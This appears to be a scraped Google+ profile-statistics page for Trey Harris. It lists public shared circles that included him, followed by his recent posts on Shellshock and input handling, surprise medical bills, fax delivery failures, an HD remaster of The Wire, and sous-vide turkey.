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Trey Harris has been shared in 62 public circles

You can see here the 50 latest shared circles.
If this is your profile, you can check your dashboard to see all shared circles you have been included.

AuthorFollowersDateUsers in CircleCommentsReshares+1Links
Frank Gainsford39,299A share of this circle within the public space will be appreciated as these are truly a great flock of influential and helpful folk, and the more places their profiles are found, the better the GOOGLESPHERE will become.A circle of people who are known and trusted for their advice and help in getting things done here in the Google sphere.If you are stuck and need some advice this is the team that can help you solve your problem.  These folk are all friendly, and active within the PLUSOSPHEREAdd this circle to your profile for a bunch of friendly and helpful advice on ALL THINGS GOOGLE with a very clear and distinct flavor of Google plus as the best social media platform to use for either social or business.PS you will not be added to this circle unless I have made personal use of a tip or advice that you have offered within your personal or business profile.  this is not a free for all circle, but a curated circle of those who have helped me, either knowingly or unknowingly with their  public posts being the source of the help I used.2014-08-27 11:11:30252224
Becky Collins13,434Mobile Operator Circle:Circle of very #social #engagerspeople and companiesTo be included in my shares (#sharedcircle), be so kind to:1 - Do +1 t the post2 - Comment the post and specify your "category" (job or interest) Ex: Fashion, SEO, Companies, Social Media Marketing, Sailing, Photography, Bloggers/Writers, Web graphics and design, Italy, Artists, Sport, Finance/Economy ...3 - include the circle among your circles4 - share the circle (include yourself)Improve your popularity, be social be cool !Keep yourself updated, enjoy the Shared Circles Hellenic Alliance, you can share your shared circles inside the upcoming Community:https://plus.google.com/communities/112552559573595396104  #socialmedia  #media  #circles   #circleshare   #circlesharing  #circlecircle   #beckyscircle   #sharedcircles   #sharedpubliccircles  #sharedcircleoftheday  +Becky Collins ?2014-07-24 05:16:124763112
Becky Collins10,282Mobile Circle :Circle of very #social #engagerspeople and companiesTo be included in my shares (#sharedcircle), be so kind to:1 - Do +1 t the post2 - Comment the post and specify your "category" (job or interest) Ex: Fashion, SEO, Companies, Social Media Marketing, Sailing, Photography, Bloggers/Writers, Web graphics and design, Italy, Artists, Sport, Finance/Economy ...3 - include the circle among your circles4 - share the circle (include yourself)Improve your popularity, be social be cool !Keep yourself updated, enjoy the Shared Circles Hellenic Alliance, you can share your shared circles inside the upcoming Community:https://plus.google.com/communities/112552559573595396104  #socialmedia   #media   #circles   #circleshare   #circlesharing   #circlecircle   #beckyscircle   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday  +Becky Collins ?2014-05-28 05:03:174777219
andi steven320please add me my profile in your circle,Reshare if you like! Please plus to tell me you have seen it! *There is no need to thank me, this is me thanking you! *1. Plus The Post2. Comment3. Add People To Circles4. Share The Circle!#circlesharing #circleshare #circles #circle #googleplustips #googleplus #indonesia #artists #artist #artistphotographeramateurorprofessional2014-05-09 04:02:2150111514
Gustavo Franco1,547I've started an experiment with my Google+ account disabling this circle (Googlers and Xooglers) from showing up on my home stream. I'll see how it will look like without my coworkers and former coworkers.In case you are wondering how to adjust and even disable the posts from a circle showing up in your home stream, read:https://support.google.com/plus/answer/1269165?hl=enI've moved the circle to be the 1st on my bar though so I still can easily peak at what folks are saying.  In case you are wondering how to do that, read:https://plus.google.com/113895942978964425455/posts/igWgAhX22qM2014-02-15 23:38:47324301
Ian Archibald16,093Circle of Google PlussersSo, I often get asked Who should I circle?  I say whomever strikes your interest. Find topics of interest and connect with those people who share that interest.I would very much like to share with you "my" circle of Plussers of whom I LOVE to engage with.  There are people in science, sports, networking, technology, comics, art and medicine found inside, and likely some others as well.  I've been spending the last couple years curating this list.I hope that you will connect with some of these folks!Have a great weekend everyone!2014-02-15 01:16:53326182225
Ian Archibald14,517Google PlussersThis would be my circle of other awesome people who I have connected with over the past couple years here on Google+. Some awesome people here!As the cool kids say, These kids are dopeI don't take requests to add to this circle. To be added, engage with me, and the others here. You'll be noticed, trust me.2014-01-27 23:35:29320221729
Justin Hart6,912Justin's Circle Share....quick circle I put together of people that engage and provide content to keep your circles humming! 1. Plus The Post 2. Comment3. Add People To Circles4. Share The Circle!#sharedcircle   #topsharedcircle #circleoftheday #sharedcircle #trustinme   #circlesharing   #circleshare  #circles         #circleoftheday #sharedpubliccircles  #sharedcircles  #share   #vipsnowballcircle #sharedcircleoftheday  #sharewithyou               #followme  #followers #followback #circle #googleplus #coolpeople  #circleshare #sharedcircles #sharedcircle  #sharedcircles   #sharedpubliccircles  #circleshare #circlesharing #fullcircleshare2013-12-17 03:07:5650011923
Ben Douglas0WE LOVE TECHNOLOGY! #circleshare   #sharedcircles   #technologytrends  2013-12-16 15:10:48500101
David Leonhardt2,546I built on the Sunday Circle by +Ian Archibald to spread it even further.Recommended:1. Plus the circle.2. Leave a comment3. Save the circle as one of your own circles (Click on "Add people" to do this).4. Share the circle as I am doing now (but don't forget to "Include yourself" when sharing).5. Get offline for a while, too.  :-).#circles   #circleshare   #sharedcircle   #circlesharing#followers #social #sharedcircles   #sharedpubliccircles  #circleshared    #sharedcircleoftheday #addmetoyourcircles   #awesomepeople   #circlecount  #newfollowers   #googleplus  2013-12-16 01:30:4323211213
Ian Archibald9,118Sunday Circle Share of Google PlussersThis is my top circle filled with some of the top Google Plussers, Engagers, and Educators.  You will also find some people you likely don't know, but should.You all know people like +Mike Allton +Michael Q Todd +Christine DeGraff and +Billy Funk who bring the awesome every day. But do you know +Rusty Ferguson +Milan Pavlovic +Steven Krohn +David Oldenburg or +Brandee Sweesy ?  All of whom are simply awesome people who have a lot of great content, and engage!.Add this circle to your own today.  If you have other Engagers, add them to the circle, share it out and tag me in your share. Always looking for more engagers!I would be honoured if you would +1, Comment and Share this circle.Hope you all have a fantastic week!!2013-12-15 14:08:26229221330
Ramón Sansone López436Awsome #sharedcircle #bestengagersComment, Do +1 and share it, you'll belong to one of my best #sharedcircles 2013-09-05 06:26:23501003
Don Dobbie3,342#sharedcircles  2013-05-29 19:26:154863212
AyJay Schibig16,440ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! Circles I am curating:21ST CENTURY PHOTOGRAPHERS (1&2), ALL KINDS, DISCOVERY, FULL CIRCLE,SOCIAL, ECLECTIC,ENGAGERS, AWESOME, NEW HORIZONS and BOOST#circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou     #ShareYourCircle2013-04-13 06:43:023024213
Justin Fournier534Tech Engage CircleHello Everyone just following the footsteps of +martin shervington  and attempting to circle share fully engaged circles with you.  Below I'm sharing a circle of definite Technology posters. If your new to this platform and needed a circle for sure fire tech news and help.  *Be sure to add and re-share this circle.*  Later Guys!2013-03-10 16:15:55296516
AyJay Schibig15,217ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! Circles I am curating:21ST CENTURY PHOTOGRAPHERS (1&2), ALL KINDS, DISCOVERY, FULL CIRCLE,SOCIAL, ECLECTIC,ENGAGERS, AWESOME, NEW HORIZONS and BOOST#circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou     #ShareYourCircle2013-03-02 11:23:44245206
AyJay Schibig13,588ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2013-01-10 07:15:50257003
AyJay Schibig12,717ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2012-12-21 06:26:433277010
AyJay Schibig12,080ECLECTIC CIRCLEFeel free to add  and re-share. this  Eclectic Circle of  G Plussers! #circleoftheday   #circleshare   #circlesharing   #circlesharingforthepeopleplc   #sharedcircles   #sharedpubliccircles   #sharedcircleoftheday   #sharedcircleday   #publiccirclesproject   #publiccircles   #publicsharedcircles  #sharedpublicircles   #circle   #circles   #circlemeup  #awesomepeople   #awesomecircle   #circleme   #sharedpoint   #sharewithyou 2012-12-12 04:23:1442210216
Ivonne García423This is my Geeks CirclePeople who share great content that only matters to us, technology geeks and people interested in the latest advances. :D Enjoy! #sharedcircle   #circles   #tech   #technology   #geeks   #geekcircle   #sharedcircleoftheday  2012-12-01 17:28:23332314
Cynthia Yildirim23,029New Google+ users might not have this circle yet of Google Employees on G+, I'm  not an employee, but going to include myself in the circle anyway. :D  #sharedcircles   #Google  2012-11-09 01:27:54213201
George Station1,600With the addition of +Google Cultural Institute as Number 100 this seems an excellent time for a fresh share of my Googlish Folks Circle.(Ah, round numbers in base 10! Thank you, Dogbert.)I note for the record:  Many others also enhance and improve my Google+ experience in specific interest areas such as "teaching & learning" or "social media and education." And I enjoy several very cool Circles that other fine G+ers have shared.But when I wonder "What Would G+ Do?" (which I'll bet does not quite align with what Google Proper would do)... I generally check the undamped, unfettered Stream of this Circle.2012-10-07 00:21:32100404
Tim Moore23,874My Go To Circle when I'm using +Google+ from my mobile --- which is a lot!IF you use +Google+ from your mobile device and want GREAT CONTENT, then this is a money circle for you.  All the guys and gals in here are fantastic and post very shareable items.Created for the circle when you want to reliably find and share great content quickly from your mobile!>>> Help your friends who may be new here to +Google+ - share this circle with them.  They will love you forever......... or at least until payday. :) #greatcontent   #sharing  +Shared Circles on G+ +Public Circles +CircleCount +Nothing but Circles  #sharedcircles   #circlesharing   #circleoftheday  +Shared a circle with you +Full Circle  #mobile  2012-10-02 19:10:48484723561
Tim Moore23,086My Shared Circle of the weekGooglers who are just #awesome . _Don't stalk, just talk, they won't bite_  #sharedcircles   #Google  2012-08-29 20:23:364492010
Tim Moore22,583My +Best Shared Circle of the week.These are my top quality +Google+ sharers.  I hope you find them as rewarding as I do.2012-08-08 15:57:01445451844
Kurt Smith122Google+ Power Users Circle ShareThis G+ Power Users group includes some really good people to follow and many whom will follow you back. Make sure you've got them in a circle. #sharedcircles   #sharedpubliccircles   #publiccircles   #publiccircleshare   #circleshare   #circlessharing  2012-07-28 17:08:3749918516
Tim Moore20,643Here is my #sharedcircleoftheday , it is around those who have helped directly with +Sparkstir or have inspired us in building it over the last year. These are not e-lebrities, but real people with vision on how to use +Google+ to help reach people globally with what they know and sharing it. We applaud them. We would also like to you join us - we've left plenty of room, so add yourself and pass it on to others anywhere in the world who want to help others increase their knowledge, quality of life and overall happiness and personal joy. #Sharedcircle   #sharedpubliccircles   #Sparkstir   #circleshare   #uniting   #circlesharing   #globalchange   #globalrevolution   #educationalresources   #education   #googleplus   #googlehangout   #hangouts   #peoplearoundus   #bettertogether  2012-07-10 14:52:1189929
Jessica Garcia156I am not sure who originally shared this but I know I pulled it from +Chris Brogan. If you want to change Google+ from a ghost town to a party just follow the circle. 2012-07-07 20:23:22499429
Tim Moore19,665Hi friends,Here is my #sharedcircleoftheday  I wanted to share this circle with you of Top Google+ Sharers - They may not all be E-lebrities, but they have embraced our +Google+ community and consistently contribute great content and do engage with one another.This is a quality circle that I know could have more folks added to it , so please 1) Save this circle. 2) Add some of your favorite G+Sharers, 3) If you'd like to include yourself, check the box at the very bottom of the Share circle dialog box 'Include yourself in shared circle', *4) Share with the world.Have a wonderful Friday my friends!  #GooglePlus   #sharedcircle   #PayItForward  2012-07-06 17:13:42247228430
matthew rappaport52,599500 Active +Hangouters for you to Chat with and Get to know . . Again this is just Part I, you were not "omitted" by me, if you feel bad you didn'tmake this +Shared Circles on G+!I feel like I +mention ed all of you yesterday... still working on it..https://plus.google.com/111048918866742956374/posts/hYTZsRoWZje+Tom Samacicio for instance is in this circle and he's great.. CIRCLE UP!Ask him about CB Radios!+Pearl Lombardo is a lot of fun too.. CIRCLE HER (she calls SHENANIGANS a lot!)Happy 1st #PLUSversary  week to you all! #sharedcircles  Enjoy your FRIDAY and see some of you tomorrow with +Vivienne Gucwa leading the +The Google + One Year Anniversary Photowalk in Central Park tomorrow12012-06-29 20:33:37500414543
Alister Macintyre7,169Here by request of one of the people in it, is my main circle of people who share G+ Tips from time to time.  It includes both people who generate them, and people who use them.  Also see this other related circle. https://plus.google.com/u/0/108007903544513887227/posts/XfV7Xek2XK3  People are in one or the other or neither.  Drop me a comment if you want to be in one of these circles.2012-06-13 03:13:14184102
Arvid Bux25,492Curated circle with English profilesFor my upcoming eBook release, I have curated several circles. This one contains 219 profiles of people who post mostly in English. These people will spice up your stream with all kinds of content, being it news, photos, links, videos, you name it! Apologies when you are not in this circle. Curation is done manually and thus I can make mistakes! Feel free to leave a comment so I can add you and people might see it and add you!#sharedcircle2012-06-11 18:29:4521927911
Jaana Nyström50,117My 8 circles of Googlers!This is just the beginning...I have found out that even Google employees are not really connected on Google+... This must be remedied!For Google employeesSo after many gruelling hours of collecting people and sorting out the circles here are the results.I will start with Google 1 by Jaana and also notify all the people in the 8 circles WITH THE POST YOU'RE IN so that you may get connected if you wish.The circle in +CircleCount:  http://www.circlecount.com/sharedcircle/?id=z12wdxwjttr3xxo0u22celljpvm0wvzfsLook for the other 8 circles, they're coming up soon.EDIT:  One or two mistaken identities or job changes have come up in all the circles so far, sorry about that. #Google   #circleshare     #Jaanatip  2012-06-08 17:49:159421224
Michael Kendle299Here's a circle of tech people. The circle is bigger but only lets me share 500. If you're interested in tech, this is a good place to start.2012-06-07 13:57:05501115
Jaana Nyström49,593I've been hoarding these peeps...My Googlers CircleGoogle employeesEveryone in this circle works for Google, been collecting the guys since July last year.Well, worked at the time of me adding them, anyway...Here it is in +CircleCount:http://www.circlecount.com/sharedcircle/?id=z13uvt3okqj2cxxvc22celljpvm0wvzfsVery international...  If you have some more to add that I've missed, please comment! #circleshare   #CircleSunday  2012-06-03 13:44:1447836829
Robert Pitt21,486[CIRCLE]Thought I would share my Googlers circle, enjoy and make sure you give feedback to these guys :)2012-04-16 19:51:00222114
Jack Durst484In honor of #FollowFriday Some of my favorite #technology experts on google+2012-04-13 18:31:53648518
Alister Macintyre4,949+rahul roy Here is my main G+ circle for G+ Tips. it includes both sources of tips, and people who like to receive them. I have not posted many tips recently, but if people are struggling with something, ask, and maybe we can help.2012-02-27 23:47:31179113
Jaana Nyström27,889#circlesharing #circlesunday My Google employees CircleHave you noticed that there is another circle sharing possibility: When you look at a certain circle's stream, there is a green button on the right saying Share this circle.That's what I'm testing right now. Works like a charm.I've been collecting this circle for a long time. Googlers from all over the globe.Enjoy! :-)#G+Tip #googleplustip #Jaanatip PING +The Best Circles on Google+ +Shared Circles on G+PS: Here's a Googler circle from +Natalie Villalobos with +58 peeps different from my circle. You might like to add this, too:https://plus.google.com/u/0/109895887909967698705/posts/VrfWQrgcVmUCombining the two circles is a good idea, that's what I did. Now it's a MEGA Googlers circle, have to share that later! :-)2012-02-05 10:04:22335221021
Chris Lang19,558+Michael Q Todd Suggested I share this circle as THE G+ Power Users Circle So Here Tis, The People That Bring Me The News I Need On G+That's the people I follow every day. Some of the IM profiles like +Ryan Lee and +Ryan Deiss are not active publicly. But the are the multi millionaires that dominate my world so there are in the circle.Lot's of just plain good peeps like +John Hardy and +Jannik Lindquist that usually disagree with me but have very good viewpoints on Google and the web.2012-01-16 22:09:3637013611
Chris Hoyt1,112Circle Back to GoogleLooking for people who work at Google? Here's a great circle that's a strong addition to any search you've already performed on Google Plus and that I'd include with any other search for Googlers that you've already conducted.What's interesting to me (and that I'm getting around to pointing out) is that whether you're just looking to expand your network as a member of Google+ or actively #recruiting and #sourcing online, I believe that you'll find infinite value from the proper care and feeding of Google Plus circles. In fact, if done correctly (and maintained) it's a fantastic way to filter your Google Plus stream and check the pulse of any company, organization or interest group.In the event you missed it, I did an article back in August that mentioned my interest in Circles and how I'd be exploring the management of them. (http://www.recruiterguy.net/recruiting-management-circles) So far, I've not been disappointed in the ability to really hone in on an area of interest by filtering my streams based on these circles and simply watching the conversation flow. Of course, being able to quickly see all of the updates from a particular company or interest group is just the start. The more proficient we get with our filtering, the easier it is to get the latest from fun entrepreneurs, CEO's, diversity interest groups, active and passive jobseekers and more - these are just a few of my own circles, mind you. You have the ability to filter by profession, seniority, geography, language, etc.The possibilities are endless!I'd love to hear how you, or others, are using circles to manage the information stream you've found in G+ so far.2012-01-04 20:07:36348211
Stephanie L Davis19,590I was asked by #SMMCamp attendees to share my "Googlers" circle. These are people who work for Google; community managers, engineers, developers, free-lancers; staff... etc. Cheers!2011-12-08 20:06:303648513
Jaana Nyström13,601All Googlers CircleThis is my Googlesphere with people and Pages: Did I miss someone?Their posts are not all about Google, but about life and stuff, too! :-)Did not include myself... Oh how I wish I could! Hahhahaaa! *wink *wink2011-12-03 15:10:281711238
Louis Gray71,017It's been a little while since I shared with you my Googlers circle. This circle includes a massive number of people working on the Google+ project, company execs, and a lot of sharp people working on many of the services you use every day, including +Blogger +Android +YouTube, etc. Now that we can share 500 at a time, have at it. But this circle isn't for everyone, so if you do add them, expect geekiness ahead.2011-11-22 19:13:55500623470
Raghd Hamzeh5,495#google #PublicCirclesI think it's about time I shared this circle of Googlers.. Over 680 people in it! (only 500 can be shared at the same time)Some of them are obvious, some of them you've met, some of them post on blogs, and some you have to hunt down!You will find an interesting insight on the people who power this juggernaut :)2011-11-20 21:15:53500101
Alister Macintyre43This is my Google Workers circle which I am re-sharing with Shared Circles on G+ page. These are people who are employed by the Google company. Some of them talk about the company's products, but most are just interesting people.2011-11-14 03:10:13168131
siam simte856For those who think Google Inc. employee must be Totally Circle ; Here's your chanceWhatever and however they're awesome thoughsiam simte shared a circle with you.2011-10-29 20:18:31473000
Dan Soto8,096Since the beginning, I've been collecting "Googlers" in a circle much like +Chris Pirillo collects Legos© . Anyway, here is a circle of close to 200 people that work for Google in some fashion. I've gone through it to remove accidental additions and am 99.99% sure all of these are legit.Enjoy ....Dan Soto shared a circle with you.2011-10-20 17:45:37187605
Kris Courtney2,408A great collection of talent - Bless you ...Kris Courtney shared a circle with you.2011-10-19 16:40:43475001
David Williams51GooglersDavid Williams shared a circle with you.2011-10-16 19:56:53344104

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Top posts in the last 50 posts

Most comments: 54

2014-09-28 15:27:42 (54 comments, 5 reshares, 33 +1s)Open 

The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice... more »

Most reshares: 26

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2014-09-21 15:36:20 (13 comments, 26 reshares, 37 +1s)Open 

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding... more »

Most plusones: 37

posted image

2014-09-21 15:36:20 (13 comments, 26 reshares, 37 +1s)Open 

The insanity of surprise out-of-network providers

If you haven't dealt with this it seems fantastical, like The New York Times engaging in tabloid fodder. But this is a real issue I've spent literally hundreds of hours dealing with over the past ten years since my diagnosis. Every single time I've gone in for a procedure, I've gotten at least one unexpected out-of-network bill. Even though I know I must irritate the staff now by refusing to even answer a "Hello" from anyone in a hospital or doctor's office until they tell me if they're in-network or not. And even that doesn't matter; once an anesthesiologist responded that he didn't know if he was in network or not but said my procedure couldn't continue if he didn't install an IV; I got a $13,000 bill from him.

I'm not sure I've ever actually avoided a bill by demanding... more »

Latest 50 posts

2014-12-05 23:39:00 (2 comments, 0 reshares, 0 +1s)Open 

For my phone/VoIP geek friends: it's been an issue known for a long time that Internet-based text messaging systems don't always play well together. I have never been able to receive a second-factor auth code from my bank to my Google Voice number, for instance, and there are lots of examples of this kind of thing.

My question is, do similar problems crop up with fax servers, specifically when a fax sending service interacts with another fax receiving service?

I know it can't be precisely the same issues as with SMS, since faxes travel over the POTS channels directly. But I've been having an ongoing issue where my doctor's office tries to use their electronic records system to send faxes to my insurance company, and the insurance company reports they've never been received, even as the doctor's office gets confirmation they were successfully sent.
... more »

For my phone/VoIP geek friends: it's been an issue known for a long time that Internet-based text messaging systems don't always play well together. I have never been able to receive a second-factor auth code from my bank to my Google Voice number, for instance, and there are lots of examples of this kind of thing.

My question is, do similar problems crop up with fax servers, specifically when a fax sending service interacts with another fax receiving service?

I know it can't be precisely the same issues as with SMS, since faxes travel over the POTS channels directly. But I've been having an ongoing issue where my doctor's office tries to use their electronic records system to send faxes to my insurance company, and the insurance company reports they've never been received, even as the doctor's office gets confirmation they were successfully sent.

When the doctor's office uses the old-fashioned fax machine rather than the service provided by their electronic records company, it gets through. When they used the service to send a fax to an actual fax machine at the insurance company, it gets through. But consistently, when the doctor's office tries using their service to connect to the insurance company's service, it silently fails.

(Both sides shrug their collective shoulders, saying "we don't have trouble sending faxes to anyone else, we send dozens a day" or "we don't have trouble receiving faxes from anyone else, we receive hundreds a day". They both are simply flat-out accusing the other side of lying.)___

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2014-12-04 17:44:06 (5 comments, 2 reshares, 7 +1s)Open 

A very interesting blog post by The Wire creator David Simon about the tradeoffs in re-releasing the show in HD.

Overall, he seems ambivalent about it: happy that he had a chance to intervene before HBO released a version that, by his account at least, had numerous problems (including crew, equipment and even actors whose characters were not in a scene appearing at the edges of shots), but he stresses that this is not the same film he and his crew created.

Simon also notes there were some HD resolution issues with some FX—like Bubbles' dental prosthetics and some CGI—that couldn't be resampled (and so, I presume, look artificial or "Photoshopped"). This is maybe the most common reason that studio TV can't be easily remastered in HD, even if shot on film; pre-HD-era crew like set designers, costume and makeup artists, and FX technicians knew how to produceres... more »

A very interesting blog post by The Wire creator David Simon about the tradeoffs in re-releasing the show in HD.

Overall, he seems ambivalent about it: happy that he had a chance to intervene before HBO released a version that, by his account at least, had numerous problems (including crew, equipment and even actors whose characters were not in a scene appearing at the edges of shots), but he stresses that this is not the same film he and his crew created.

Simon also notes there were some HD resolution issues with some FX—like Bubbles' dental prosthetics and some CGI—that couldn't be resampled (and so, I presume, look artificial or "Photoshopped"). This is maybe the most common reason that studio TV can't be easily remastered in HD, even if shot on film; pre-HD-era crew like set designers, costume and makeup artists, and FX technicians knew how to produce results that looked good in their medium, which was standard-definition TV.

Something like the Blu-Ray release of Star Trek: TNG requires extensive computer retouching of essentially every single frame—even ones lacking any FX in the original—just to repair makeup, costume and scenery. (I've seen original uniform costumes from ST:TNG close-up; they look significantly better on the Blu-Ray than they ever did on set!)

I suspect The Wire had an advantage there from its documentary style; so few shots were "properly" lit—many shots were entirely lit by practicals (i.e., lights that existed in the scene from sources like streetlamps rather than studio lighting)—that the makeup was probably not overdone very much¹, and costumes were often just purchased off-the-rack from places in Baltimore where the characters might have gotten their clothes. So the painstaking process of retouching every frame to fix makeup and costume issues probably wasn't such an issue. (I assume so, if HBO originally was willing to release a version with mike booms and the wrong actors in the frame!)

All that said, I wonder what twenty years from now, the connoisseur's choice for enjoying pre-HD television will be—something like what letterboxed Criterion Collection movies were in the DVD era. Almost certainly remasters like this one of The Wire won't be it, if only because Simon and his original crew aren't running the entire process. (A remaster shepherded by a show's creators is more problematic: it could be a faithful translation, but it also has the potential for George Lucas-esque embellishments, and the subsequent backlash.)

I wonder what a pillarboxed HD remaster of The Wire, with no reframing, would be like? Any show shot on film (or even on many later formats of DV) could be remastered that way. With no further postprocessing, the makeup and FX would still be a real problem.

But, let's face it—a pristine 480i 60 Hz SD signal presented on a 1080p 30 Hz LCD, plasma or OLED display just looks awful. Even the best TV company's built-it downconverters are crap. But on a CRT HDTV (try finding one of those now!), it looks great.

I hold out the hope that someone comes up with a postprocessor that makes SD look good (defined as, "roughly equivalent to what I'd have seen on a high-quality CRT in the 90's"), but a 1080i pillarbox resampling would probably be even better for shows without too much CGI or studio makeup. In other words, show like The Wire. I'd love to see Law & Order done that way—I'd bet the Law halves would look great while the Order halves looked like everyone was wearing clown makeup.

¹ You often hear TV folks mention "HD makeup"—usually followed by a vomit pantomime. They're usually reacting to the fact that HD is so unforgiving that even small blemishes, crow's feet and smile lines must be dealt with. But my understanding is that HD makeup is less garish than television makeup used to be, and more like real-life makeup. Very fancy real-life makeup. Real-life makeup for the bride at a wedding, anyway.

My point is, the makeup for HD—at least when it's not trying to cover up blemishes or aging—looks more acceptable in real life than SD-era TV makeup ever did, so I suspect the reverse—makeup for a gritty documentary-like show like The Wire being more acceptable remastered into HD—may be true as well. But I could be totally wrong about that, anyone with practical information know?___

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2014-11-22 19:15:35 (2 comments, 0 reshares, 3 +1s)Open 

I've seen several clips this week of Texas Governor Rick Perry appearing in sit-down stage discussions with yet another iteration of his "new look" he's adopted in the early run-up to 2016—an even newer pair of nerd glasses (which Bill Maher said he needed to give back to MSNBC, their anchors can't see anything without them), grey jacket with no tie, and collar open (I guess the man finally got the memo that he has no neck).

What's funny is that at least three times I've been distracted, with the TV in the background, audio off, and I look up and my first thought has been, "why is Rachel Maddow speaking at a Republican event?" Just do an images search for "Rachel Maddow Rick Perry" and focus a few inches away from your screen. It's a little eerie.

(By the way, is Rachel anti-Superman? She only appears on her show wearing contacts,e... more »

I've seen several clips this week of Texas Governor Rick Perry appearing in sit-down stage discussions with yet another iteration of his "new look" he's adopted in the early run-up to 2016—an even newer pair of nerd glasses (which Bill Maher said he needed to give back to MSNBC, their anchors can't see anything without them), grey jacket with no tie, and collar open (I guess the man finally got the memo that he has no neck).

What's funny is that at least three times I've been distracted, with the TV in the background, audio off, and I look up and my first thought has been, "why is Rachel Maddow speaking at a Republican event?" Just do an images search for "Rachel Maddow Rick Perry" and focus a few inches away from your screen. It's a little eerie.

(By the way, is Rachel anti-Superman? She only appears on her show wearing contacts, every appearance she makes in front of audiences or on non-MSNBC shows like Late Night she's wearing her glasses, which are very distinctive, which seems like something you'd want to push to "sell your brand". Or at least was very distinctive before Rick Perry started doing this strange unwitting power-lesbian impersonation act.)

(Sorry, Tricia and Laura—I'm not making fun of your boss, really. I'm making fun of Rick Perry's in-progress transformation where every tweak seems intended to make him look a little more like your boss. And anyway—she called herself "mannish" on the show just a couple weeks ago.  :-)___

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2014-11-21 17:00:14 (0 comments, 4 reshares, 10 +1s)Open 

When I was a little kid I loved The Electric Company, and the "sign songs" were one of my favorite recurring bits. I happened to see this one today and I was surprised to see that the building is 111 Eighth Avenue, now the Google NYC building.

I'm sure my six-year-old self would have been thrilled at the idea that I'd ever work in New York City in that building.

When I was a little kid I loved The Electric Company, and the "sign songs" were one of my favorite recurring bits. I happened to see this one today and I was surprised to see that the building is 111 Eighth Avenue, now the Google NYC building.

I'm sure my six-year-old self would have been thrilled at the idea that I'd ever work in New York City in that building.___

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2014-11-20 20:19:12 (0 comments, 0 reshares, 5 +1s)Open 

Sous-vide Thanksgiving turkey?

For Thanksgiving this year, I was thinking I might sous-vide the bird. I've seen a number of suggestions on how to go about doing that, and I think I've devised a workable plan of my own.

All involve butchering the turkey, which I know some think is a travesty on Thanksgiving—seeing the Norman Rockwellesque presentation of the whole roasted bird as essential—but I'm okay with that, as I've been at least spatchcocking whole birds for roasting forever. Cutting oven time (and energy, and heating the kitchen) by more than half while increasing the chances of having palatable and safe breast and leg meat is well worth losing the fleeting ooh! moment of bringing out the whole mahogany bird for your guests to exclaim at.

(After all, even when you do do that picturesque presentation, you have to take the bird back into thekit... more »

Sous-vide Thanksgiving turkey?

For Thanksgiving this year, I was thinking I might sous-vide the bird. I've seen a number of suggestions on how to go about doing that, and I think I've devised a workable plan of my own.

All involve butchering the turkey, which I know some think is a travesty on Thanksgiving—seeing the Norman Rockwellesque presentation of the whole roasted bird as essential—but I'm okay with that, as I've been at least spatchcocking whole birds for roasting forever. Cutting oven time (and energy, and heating the kitchen) by more than half while increasing the chances of having palatable and safe breast and leg meat is well worth losing the fleeting ooh! moment of bringing out the whole mahogany bird for your guests to exclaim at.

(After all, even when you do do that picturesque presentation, you have to take the bird back into the kitchen, get it off the platter and onto cutting board, carve and re-platter it, anyway. Anyone who actually tries to carve at the table is going to make a complete mess of it and waste half the meat, or is using an electric knife—which then kind of ruins the whole Norman Rockwell vibe anyway.)

Anyway, while all the sous-vide recipes require butchering the bird, they differ in a) how to butcher the turkey, b) the water-bath time and temperature, and c) how to finish the cooked poultry after removing it from the water bath.

For the butchering, all the recipes I've found say you must hack the bird into parts, at least into separated breasts, wings, and legs; some cut the legs into thighs and drumsticks and/or split the breasts as well. Some specify boning (at least the breasts and thighs), some do not.

